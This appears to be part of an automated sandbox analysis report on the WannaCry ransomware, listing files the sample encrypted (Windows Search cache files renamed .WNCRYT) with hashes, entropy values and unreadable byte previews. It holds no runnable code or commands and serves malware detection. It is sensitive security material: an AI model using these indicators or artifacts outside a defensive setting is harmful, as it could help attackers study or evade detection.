                                                                                                      Preview:WANACRY!..............z..U F1...(...[..?d...~.$..h.......|.'.v..%.......c..s....{..{%.....T....L.V....%U....+.V.>p.p....4.z.?=.R......rl....LwC\...`...6.r....W.......S0..P...dPh.f.>.9ah^.qW,.....2o..B. .x.+5..{.K...@.{...&..gkg.t.].qv...,....n!......j.........4.......V...nuQWK{e.>...W.,,..w..........`Z..X..!\....P.M.E;./E..^..k.e.DD.....u.f...2X..q....R..W..i|.....rl.g~2.T._.!...>.a..B...,..d..v....z)usf.r..OsK..... .b..d...io.bVC.-.!.M..f..|.Z......i.h.q.......H...a#.f%j.~..?.p.7:..fmR&.a.B...n..c!.$.S.o...(.2....7..S.....].c....s..w.2+..0d..t.s[,..7..A.B..%[m..w.......B.......L...k...A..Eo......\ .G..\...?....$....-"%.?..G4.?.....@.'.|..b...T...5.<.D.+.@_6.b2+...i.....$.8...H.k.-J.;9.<....N..S/..P.k.\...Z].a.Z....qvLf....l...F...gA.....'...c .W.jy*.....Z@.D...oo.a...g...9y......le..~....9;.W.....O..._...)..B.dA.._.S.G....?....V..0.f.G.40..|.[..qA.....*...{3.S...(..u./G+6..[.6'..{g....:bW{.p.E._....3G.[...y....`8.'Y......u..!.X....~.&Y.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d2e6c03-f928-4873-b576-0d6ef01dade1}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.995000036037265
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:Lt0sScmS+FcXfKwIuJ1FKRdMu2HXyJ8LWkQO5d/L2ZG5Bsw:LtOhFcvKF0O8Hc8SJODL2ZGnsw
                                                                                                      MD5:C6ACE7A1F1B55116A81D9515EEA6C367
                                                                                                      SHA1:D4FDAC4C6D47FB6B38FBAF69627882459DF16AB4
                                                                                                      SHA-256:480A0224073708229ECC6A1AEB114E7B7F168603FAC3249F538C8F133CBF8980
                                                                                                      SHA-512:9BBE9DD24DD5D38D4D1CF02F8CB102F55BFC712A108F69584808542E256E6359BD76A60377C43A7BCCA05EFA7E6422EDBEFC5BF48BDA797F160FB56546B6CBAC
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....(.n...oq..y.NA.O0.uQ......2..6.=......+......>C..........O.0(..y....7.....8&x...0u...@..~/.p.L..j....d..d..].7.>......#....}th..:...#Uj.>.0*,~%+../..u..s..G5...../..u+..l..B.N.W.U4.$.......S.7.!.p.=?..N UD4......~#.7..H..}.=.J-....M....4.......K.w.P.G>..a.N4[U......{G..4......h.S8..(..(.F.[...c:R...A.....T1.O....=..0.l&.0....I..4b....#.YX..k.....~@%.p...E'.?.S.@.n}.Z&....2.....?.fX.)..#..4..X.V.U._..~1.j7..i..:P......\..?...<..X%..7.x?.P...x.G./..R..Kb...u.1...0.Z._.@...*.^p.....X..B.../..l.G.Z.U..no..S....y.=..,..0...]..........v#.V5.=..Hv..(.....<A.%.~l....%;O;...v..|....R.@|..t.."r.<....i...`..k..?i...%.....0./..d..3.2..r...f...)NK2.<...63F...D....p.{bO.CV...G0........./.....:|..u..7.~q......(.t..mK.~o..*...'.[O..ln?......Wb.R/O..sU.{.b.C.z....U._..F.vY..5..t.,.x .......IE[..+.4g<.....QZy......y.h.yG.... ...<..}.lU."3.@Zy.V'nSZj...A.<.;..N.<.F+..f.E..M...[....G.5EHn.B.I...;..<.t.........I.9G.Q..q.......

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c7a88677-8220-45ae-8b75-3e4ab11a6127}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.994569115025049
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:l/nuZoBzAcL+WL1oIbbTN+mgUKjmy2El8bLPpvMeZIeECfQvcWlgMC1ZFW5rn:lvum6WL1o+XA9jhebLPxMeZ0Fv5k1ZFo
                                                                                                      MD5:EEBDFEAB550C8286608443D66A1540BF
                                                                                                      SHA1:D62A2A79B5EFEDD601DE5DF0052A864260B6E7CB
                                                                                                      SHA-256:4BF8972F27AF9B4C9B1305C0B75B96C736C9B05450BCE59109A93BE4BF113326
                                                                                                      SHA-512:47293D9E762CD6554CE01F136895C3738570E38A1A0A6F4C9A2BA5C6523C282CC4DCB45720FC53DB5B4C7F7074A4401A77D893A201119E8D5F12A875529A0B8F
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....>.....o&...DF?...x.L...b....L.e\.O....{,.:....-.PL.M.3.l*8?....t.<L!._....n....p..w.3..N(.....$......,.6Q< .r+.,...to[d.nvo......L....S..W-.y2?O"..(..H.=Q{|..FSI.....Q...f,m.l.(.....A.U.^!b%.u..3{\\>...z........mpU....}....*"Pv&.~....m.e...S......)....4........-...V.8Bk......:..3..Y..k.&.;..?.........a.>l'..6.o/......e....~_.(/..].{w.`.S.-.c....[3..T;.4....o*DD.>..J.9.qdy......X.u......z|.$.MR..u..h...:,.FQ..K.....~.!...!~.`.(u..0.]......n.......u.jj\g.J?.5.E.........O[.Q.%.R......i.$.{...>...?Xz.u4.....".0.,e.=.#.\...Y)_.r.._i.."....i.(.......D........w4s_#<......x.:<,.....8..SC...8..B\.=W.P..95........tIe.N..T..j.././......\.v..3.Fp..5s....<.4.$...6.{.lm.......O.........a.}P..%.J.I.k........ ..0.i+!....'......f.9...t0..rS/..H...."[.>.....VK*........4..Xe..l.v[.....x..D.qQ..3}...G.#.(..J...-...%.qC.7......<.W...S..vKy.u....W...,...a..4......E]..t....[TyA....J7=..F...1.)ha.m[|........9.J...l..RZ..&.02g/|..+.]?...w.x&..A.)0.D..&..U

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1426184
                                                                                                      Entropy (8bit):7.999868525159173
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:xcUqnbeFzpCNI2COBTK+5XAU0AGu1N0bMwaClhaNXyZUvXgGcPf3KmZkINuSnIgj:xSKz0NRvgWzDdA5hHUvQGqPKmZDwSn5P
                                                                                                      MD5:EED3E57F261EF7E7119C10DA0FD61A23
                                                                                                      SHA1:ADD01EA3FC54977EED4158FF77EC8E249BD4AB66
                                                                                                      SHA-256:D719FDA6DC94D2D395BB27149F70E2F039975B0FBD1E429DA0A7DD4DB0864027
                                                                                                      SHA-512:EF6356B0EF4CE232CD1AD8677E8C229C92D50C91A9AA2B584B779E3064E0C664A5EF89215E6C39017DF62503D5E87F80E0E781ADA939BBAA64F8C4DDA81B7DF3
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........a..;.....O.L.sb..b4.........@....K.......C.t!...;.R.|...W.eU5.b...'..I...B........._....3=.Hp..ek.`.O4.bv4~..h.E.E.DP......J.E>..iq...c./@.e.. M3..P..{)...."..[!...].'9..k.....%...Um.,.....:2;.]x.".$U.W9.....i:.%V._BF.*..&..^.>....3..../.5.............n7]..l;(.....>y..JG3..G..z.r.g..EF..2..VZ.1".}...Q.6..DIp..Ys uJ.~01..5.+A...c{G.h.u.9..W.......I-U;Y.....+......b... .-?,7.+..5..-....J...`.<.+})...."....^...1.Q......L<....o-...|..P....#^..<.d(..M.l..in.h+...:..j{.M.F..H.1......@....A.@........*.....:....+.../...53G..V.h.B1.../..3l@.3.Z.."....*.....V...y.<...~.0..;...B.....U..._...VQ._nO...WK!....w..>...xpB.']$..d;.....F.T.....%8q.s......d.r..P~...C...w.1.....b7..f..Ge.mXJ......-~..2...w.c.b.......2...F.-.Ow..r.a..5,.{._y~.....4.\!E...>..w..y;.P.V....^.,...{..:s...\_....|M;.e.R.*.}..&......X.B\.6.....9.C. V..g..a3.:O..}.../..@$I%?9.\{....4.xl.v..F!...lU......5.$....A.k...c.. 8C..*.....S|...NH......N..X)..k.+...[av.^....Q..S...r..r..

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):352008
                                                                                                      Entropy (8bit):7.999537697144544
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:hccAvDT0MuIQ+OBC2I06R67WcHRn40tskpEpxVqVmD4rHPUy9aExXclATIuOeKhO:2cI0MuI7F06RRcxxEjV+trHMEuMIuOe/
                                                                                                      MD5:38054D5A237C3C11079F202D99C01C8E
                                                                                                      SHA1:EF66468A633EE236A2454E2A71DBC635412B45C3
                                                                                                      SHA-256:9E92DAEEE0A8B13DB557F09C6B779F16F6E9BE491F12560AD3FA87417556489A
                                                                                                      SHA-512:81E76AE5791526B15EBF95F077A5449A4E5CFDD29CF12D3C749E0706A4C16E82A6D2F6F28B6177E6C05C895E8866EB5DAF4E47456D7239487C9AA7496F8D7FF2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........h.]/x....h.0....^$.q/...th....Q..LO..g.._.....U......W.?`.q.q........y..2...X......y..gm.pA.]hO.....T...//....s^.<...plz...p-..i~..."....{.MP.k...._.Hp..xBx.D....nU.Y..W.@....I\c.4.B.P.j.b....z6...7Q.. v....I.8. .B.....4w..w.....5V......J.w.....].......Os#.H..d....;....V,v.....y... Q$..H.nX.....TP.L..&....H.k.7....M..5^/.J@@a+...X.tE%..PT.t^.N..@..M.c.q....T.z[.o..Wg%.w.=.......{.........0.}#'l.k..6.......8...g.!)E.../[.1.a=.&..:$...e....._...U....bI./Fo......,L4V......_.....Z.kk.v)t..3.H....?+Wo>...m...e.G.^mO..U.E>8.f]..N.T.....*.z..v[.@...k...v.+D..\....tR..-t...SJZ{L...S}...3.^..:........l..P..}V....#...xb....i...V....A+....(.gd....K..v.....@....OT.....<Z.I.-BA.'`|..,c...6y`..fy.Lk....!6.vA._p..^....b.}..<.UJ.I.<..b...O~..-.T....c.k.un...#......wH...q.......(4~}.T...|.pS.*.D...3...|yr[.e>......e.;..|.W..Vp..&.e......d.$...+.E.7.S...#.$%g;.../.......'.96...[A...1..J........m.%b.="Y.=..d. ....Y...pON.[..m:.y."w.......A

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):243784
                                                                                                      Entropy (8bit):7.9991642591317245
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:A3kY7ztdp7Sxjsh6mkpkU3HYhjdCE2kKgkJoExnyW:A/dmJLpkeHzE2k3En
                                                                                                      MD5:E6E7F97E5EF35925E47155233EA13343
                                                                                                      SHA1:B2E024334566D0995885B3702B1D3BAFB6631D77
                                                                                                      SHA-256:DC7A352BFE5BBCE1AFA0211172C2DF2EF3F18036ABA1FBED56F62606E9CC4827
                                                                                                      SHA-512:3FC48B52EEB307140B03AF16AAD65D47289635246B34412B4A71090A5390A97789DE82ABF006EA094CE58483123D2FD6FE1E9E1120C3C5D4DDDAB8C02B2625DD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....F....U...;?o...$.......1....;.[&..)..A.v..<.=.q...m.x.4..{..-.c..R.@.a.NfG.)........}....b...:.C...~Zx5.. ..g.8.rB.8..Q.AI7&.4ml.-..,Fd......0.I..H........E.z............8..Q+...N|oz..|.<.uw..HH..}S..."t.........k\..3F...)w[...d..H.#.s<?.K..Xp.....&........`...IH.....N..Z.5.I_...)...dl....g..<A.3E..&J..kTy..a..O!......o.,\..J.lT!.q.$..s..`......9....#dc>..T.X....).yQv..MT.h:...j..e.E............>......a1O..2k.9.u. ...'..}c...P9..5..... .. O.`"...>P...m......l5k...............&.G.........t.*_.Q.......W.hW...d.....8c.^......A.{...9T!.Q.~......hAW-8.H.....D1.A...<=._w-...$......y.q.>D.E=c...og..d3.D8..O8....n].h:t...Pgc..O...Y..o.`..d..........Ym.~.....W........}.$....3(.......=......d......#.i..y7...J.9.E..b.n........a..mz.Z.6.=....tV`<....g...k..9....C ....+3....-~C...1......r...(...J&..V..Kw.6.q<.......l...>.....=.Mxoa....c.. W....t.b....q...b.~f.3.I....zI........IZ...6.i...3uUS.YL..A....c...by...@E.:.3.F-.w..$z..>...)

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):533032
                                                                                                      Entropy (8bit):7.999651396891387
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:mvyjfZgCK04ROwX847+NIrEgxTZ4g5MeiMfnpeKrbaI3UDwXRfaJ:mvKfZ1K04sIKIogTZ3BNbnUDf
                                                                                                      MD5:75808DAF5E96716B5090CF1CB96B6F35
                                                                                                      SHA1:21F83953F925D614DFB9BA6FB5CF7D143E8CA18D
                                                                                                      SHA-256:88DE9482D9CEB7F3A7F5DAAA1A9CA04C8081C3C078BEE548CFF403B93B7D13DC
                                                                                                      SHA-512:0CE45160A43C74674300DE1878B61C5D43381BBE114FD8DE70945928DCA4CDCAEA22D27A4D1ADD4228CBE97E2B8569E0752A11513BB93191A65A34BD45E3269E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....I!.b.Cz.....0..C1m.smK..W].).].e..p.\...m%.f|..@W.v4.4YC.2.I.X..=l.g.|.-ca`...s..R5y..d....Z'C..F.-1..$...X.2.(..).|%.p......8......*.....o($~.1.r...^...D..,n2Q'J0.4.1.Lv.T`....?B+`.:.9.w...$..Xuh.Un.t.V.Q..N.o..K(M.........x.}4..6....D|.4..1.....!......\n.hj.;.. iK....b..S..J......Y'...$.`oMB.......$D.S.p...w....SR.V.......l..B;..6...vG.U<....s#R...4.).BW..E...U.}.j....`_.W.a4.ps....)4.2H...;.$...u.._...^.\./.f..+.u...ATc...P2_..0A3"S4..../.hy_.|..M?.~.w.%...a..?...P..C}........0......W..{.-.W.sL...]"-.R.]1V.]+M.......z.^..}|8....-<.....%.|F;.O*x.J.5......(....=.\"J...H.[.<{..hJ.P...C.f......]...C...@...>.4^...J..9.. .B.+p..VT...7.k..m....U.N.R$.2K7...u.,.......S^.....*.$...K.,D...^$.J.;.n6.m.&g.....l...0...~...XEO.j..b.g4...i...........5o....D&.!..q........T...^..-}k.9!H..R.wt.t%K...;..HW.....s-.0.lC'...}._.D\a./Z%.....x.....ND.,....'.-.D........5ab..d{I.....j=..~hK.;}.....U#...B.IY].p..zT.T....Q..II.T'U.O.....d.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):44792
                                                                                                      Entropy (8bit):7.9956562889381315
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:q4KQN+m7MZIXrcJr95C01fOlEjRGUNUTFPpvtR77ueaPL7tg88DqPvKjqWavUQnY:yQN+4MWXry5V5V9pUTrvtR3ulPLpH8DN
                                                                                                      MD5:269C6FB1B653829CA810CB989B04339C
                                                                                                      SHA1:6C47B0528CD2474992728D260FF33F4BF445C8E7
                                                                                                      SHA-256:00380DD5671286F5CD677A97CBE74966D2BC4966E2D1A235C2D19059E9B7551F
                                                                                                      SHA-512:3A379F950A995B17FF76F0E51AE311A4AABE10046B9132796C90E741F15F37E8F28F721EF4F5BC460EEA23B3922CD449FF0BB6F06E5BE394F12D6D0A4AEF80DF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....(b.@Y........A..*.$g.$.s.c...X.p...1..x<..@..i.!(I....M..m.!`..2..H....RZE...y~Dt.+..Q...]U.E.H....G.."R.>x//...4A..S..A...a_YS.......F...u8.G.....L.~..!..<..JFp.5.....+vf.A......rK..vgeE....G...K:.w...>q?..\.:3|.....k..E....$.{.[..i2.:.a...........6.*..q.H......s,..S......nQ2..Vbi.m.X..l..)....xq+..i._./.d..4..r<...ifR.*.......'....@O.p...{l.[.w....mp..Z.B'..4..oZ..*[..JuE...S....B.....+ip.S.=........4.oa.........j.3..o....j.7....'....vs...r!.I,..|@|.x7.P..T"....g.Y8/.g.....j..*...`...q.....d++2.<.B...a.F......jrD...8I_.1.a^F.d...^...6j[.M......?.i.L</...X.A\nc...^_.`...`.G"?8....j}.=...rb.......w3,..l1.2R4.{*..w.....p.'<u....]..."..f...4.L4u.cHg..s66w[r<.g.d.. q..6Z.........D..Rb.7...X.".;...j ...:IA>.......%.|4...=.P....so.7-.....h.Q......#..A......x..Y...{W.}.?..(J^.8.."..b......~...De-..G..4...a..L....e.].iw......~....(....d..4..|..%M*.......kS.!.<...B.scE.H.E{.7..(5.r..Q...Te.*..~..6P..X8.Nw"E`..)wW..3..~.q~.%.h."> .5...

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):104008
                                                                                                      Entropy (8bit):7.998561969473058
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:6JfaObCSLx3xAwQhAN1dGTE5dtP+5KJ5ikPPsvima6XIpKWNlRf2tcL0HeTOG0No:6JfrCSL5ax6v0Q5TT0dv5+lRajPQ7
                                                                                                      MD5:0E28375DA97E7C7089F6C7F51C5BD39F
                                                                                                      SHA1:B581C6BD2DF509CEEB81919C940128BBECD624BA
                                                                                                      SHA-256:5B1553AE3DB8F0A533F8676BF96CCAD1CAB382BE130D77CAC8B38EFC21EE6F11
                                                                                                      SHA-512:90232EFCD7AB073F21912A4FEE33D544FA2E6BFFB01E3075EC3DC65CE7F98A13C482D856E2DB037A3D33366C293BE2023DB2BECF0912363CD1818F90059230EE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........Ab..4..XcRP.>.?.......=}...m..G.7...8.....6..r.....{D....|...^W..L_.v.N.v....b...H....W......Il....=.......g.fe.H]mz.Yr.._.|}$...{m.K.2i.9.d........j.....s...RUk.2"KE\-j.xg...8....O..9.v..o......r!.L..c@...v..X.v.>.]z..-.y.......2;.T......L....%........{.F..49....z.~.....P2o.tL...q7...Y.RA/.m._.-.`.^....}P<es)x..H-.......f=..`...b`...P..w.S..L<.jP.P..0.K......B...Z..O......8..!....g........==K..Xq%jF..u^.6.a.........O.>..R.V..n."(..r.|0..<.A. c}G ~<.[~..o.;I......s..K...+...Y.%.%..=C.fU..W.<.B....C......&.k+.....*D.....G/..`.N0..!_..1....$Z.T..+?u9.hj...^.i...y4yc.U.{.......$....1..f.....x[.@.%..5.:.x.9:....%C..Y.....#.i..V.....S..";h4x..m..@w..n.E.B.....Cc.t...........m.5..c4.t.l".I.7.{T..Nr..u.m}RX.8(.M.k.:....' +1..c&w..'"..S.Ds.o..Q.XQ.....m4.f.'..u.C.1d.9.=F...|u&.DgE.-:.0|....m....L.x....(A....uc.......QMzd.H...05....%....bE...z...^."`.4.....jR.$.x...g...<...G.x`f.....p.....B......Qi.-.m.sDg...^.q4.|.:.N.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):217800
                                                                                                      Entropy (8bit):7.999175616815625
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:CfjA/18R547vbNNG2V3w3TiSa/Eob7uKZEJBeXBlGO:Cfj1C7vu2VKOSaV79D
                                                                                                      MD5:0D4C519B45EBB59D4ADD327E8DED8F13
                                                                                                      SHA1:3534F7120D6E36D2FC240CA36AA96F26A68431BB
                                                                                                      SHA-256:4F6CD117FA64F777B0DD024547C83E9F7FD674272B41973B1EF3729F4B5ACF46
                                                                                                      SHA-512:AE4502F8EA882BE158035F2D38D8ACD0FFA30455281883D36F8FC918061FDE1DC95D9D5BBA94B3E946434520D3035C04F56367D297E30836121075B884D042B4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........;..Wi.L@.].}2y.i.....l-.L...b6w=...F......#.7..z......i......\...l0..Kv}.p5"*.T.N.w.Tr34".b...G..$K..!.p.......&..n. k....l.cQ.#.h..2............c..w....]..[.K...|.2.......u...'(].....y..`..4..v..a...._/.....'..x6.]Y....@...........:.z..$......Q........,..V...I....U.. $...^h32X..Ze.O.....o..H.;4....6...pn.V.&.U._.V..o!I@.{..q...qW.....e{VDb....P...n.]n..<.\ ..;i..{.e...J.t4....'M..m+E.^wgt..$....$+..JOe..5......:t!vx..K..r......&/.....-..I.2...t.{......Kn...S.:..YLn....$..e.!....I?..l".9..#O...k....}..j.[...._~.........&dl...=".5-7.b..f..<._.|x../u.b..c.R....T...n+.5.+1....q.r..D....~]...Y..G"......|-M.t.)......8.6..Tg...N.}:>.H:...F.91.i...?.+.(.R...u..Q7..s.......v.f..!s/...%....~....v.C.:.{G...*l.v`.Bn...]+,P...0.ULR....9.7....R...M..~.nC.!.#..o....V..V..+o..La...K.$.Ub${_.D.q7>..A4|.:f~.....=mYYa....J.zhj.&..V..+.H...~n...8..q]q.. .K.;dv9..+I=..4.....d[ag..@F.....\S..r.]n|_.......q..~.q.].X,I8...1=p.:.PB.Ry..Tq.....+t.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):217800
                                                                                                      Entropy (8bit):7.999152765932119
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:Kg655KYVDqVRaBlvdOWRoZvf5R8j+RAHGs9g4V:KnjPVDqUvdvRoBfg5L9gU
                                                                                                      MD5:8C04853962AC62F91CC888B8042E4B69
                                                                                                      SHA1:902598FA80A68CE5DE1B5215D7DBBC634F96190B
                                                                                                      SHA-256:FC45EE5080F4E5ACA7E30FD610B5C23F0485BBB91AFB962D1E9A8323A2B41A0C
                                                                                                      SHA-512:99E970668EE63ABE83F743DCAC5F4A27C068F2D0E786740F48984F742B5F0642BB17BB105E7DA570599FEECDFFD80C03D39B0F494796D2545695CF6ECEBB40D4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....C.......}A.{...5...Pv<...g..*..Z.....J..b.8..>}....d.Xyn..ed...N%.....*...N.5..rC....U.......9qK..9..t.+).B...K.G...~...q}.44N.k$...9..U...?k0..&...|.!I;d4.q..v.nYV....@!.O.O"...#...`.SO..2.....u..`.......N.}..M..#.....c....}.q}3..s....j....\.[.".....Q.......x.......?.?...o:....z.o....d4.....[...$.Q,).)....r.=0.u7.M.fwqUU...Z...+.l3..O.D..b.$#R..6..L.3..\N2..w...$.w.........f.....W.'..v.3.A..B.$Y.f....V...GM.[X~.[...HM..0..Iy...Eu&.....k"R.K...!...0$.....}CR.zy.6^.Z.....2.r...,7vti.wyzh......H....5.2.#3M....WA..v+..d@..3.....q!.P[....0....Q~.4.KP.U.U.......HB...{.."K.q......)R".-....1......Y.i.y..dc....@...fH~.b1=~.l...f.2.h.bh..<Ek.....s...1.;j..X.'q-.kz.}.....E..h....X..S.dF....l..tL..Z.gW...@8c..?#.c..K/.<b......R..^..sY.b.X{d.(U....e....W2.O...z.V.....L.3..n`D4]P/$.J.G..;.........`.....u.`(.>.c...y..1.#.F`.{<..Z..be.w.wj..S....1 .I..x.ZS..5UX<...;...d.}..P#.9....S....V...R^.H..2c..".[..l. ....Z.va..V.A.c..).;..r..~?%,.#.{

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115096
                                                                                                      Entropy (8bit):7.998380182070116
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:f0cHnROvt+U0Si0OOgHiD2mJQO4OLdfVvWncOVG9B4:fJSf9gQ2pOLd2kb4
                                                                                                      MD5:B1B3E909A84C54C4CD24BD6B93788D8A
                                                                                                      SHA1:BB6A8454D53466134CD4FBDFAC6937E8C2516A31
                                                                                                      SHA-256:D61F2AF7A57176D5994052D3F408402D2BB0D7484DAC6CF91B59BF56B6A78342
                                                                                                      SHA-512:DEA6CCD8C25ED962489917DEBE555CB92059E92B0380CF4B7FCF57804F217DD394FF5066DD11DA5AAA1523D15CCA57E4784B47A1DAD46ED5046E50617501EE30
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....S...`..p..)+Aj...,(..k.y...................R.....~Sm.u...4..........9.....4..~mPC.......3....V....7..}.....I....._O..z.y...#...{.>/.a......7.l.M..PW...."...U.4X.........1..T,...|..%.....`...c.or....K..I...d.}.....h......~...).s3._....*..;6&.{....................|.o.#b......x^...Q...?..tH.....U`'..r.D...+..cy....:.M&..E..M"S.8.K.z.!....f..Ci..p.. G..(5...2..K.@.~.J...C...y/..........NL=.m]....!W..M.!....D..U.y.xG<.t.5..t.E.n..#.5...w.[......!..._.".-c+&.s..j.kU....u.u..^r...*].X..>q..#.O.}:..r6.R.9...:..".......09....4...Alj..-...Wg..<.<...G..+)J....w......;..0.`l.!_o.;....b...d..T~..}o.../..6.....H.._j...&c...(QsE...W..E.....M.zD........L..s......d4...f..M...w..{.nm.ep..CY.R@.l5n.=e......87$i...J..?.(Q<5.....#.&0iA..=/..%.Fb.O.~HuFA..un............X.2....T...=.IM<h<.......>..".M.e.....QnK.).3W.A.*xI...T.&e.x......>go".F.+.;..Q.|...y...qq..`.;...'2o.$..DY...3..X[...x.<.a..'.....x..fU.a.*...O..\..8GT.8hq.yu.'.8.............Q

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115096
                                                                                                      Entropy (8bit):7.998413797481823
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:rme8VMHSdwgLATrHr/i/nzQxZmDwEbZJupw:6TVOkwgML/cnzCZmkGJupw
                                                                                                      MD5:314D44C9907E0533B653191A06E1A42F
                                                                                                      SHA1:1548392F28DF070A84FDC3D21BAE4380069B2D8B
                                                                                                      SHA-256:B73D1812B90692351BD37DC0DB2C76FB3868D895B4045F30C5AE7E85C403736E
                                                                                                      SHA-512:FEE3F3A117B6174E217EBD7B7198A97347B1ED548A327ABD2555F9B984D3DC75F5286FB7C31C6089B78D06AB19FBCCB68CA99505D965D06A0BEC1BE24FFBE6AB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
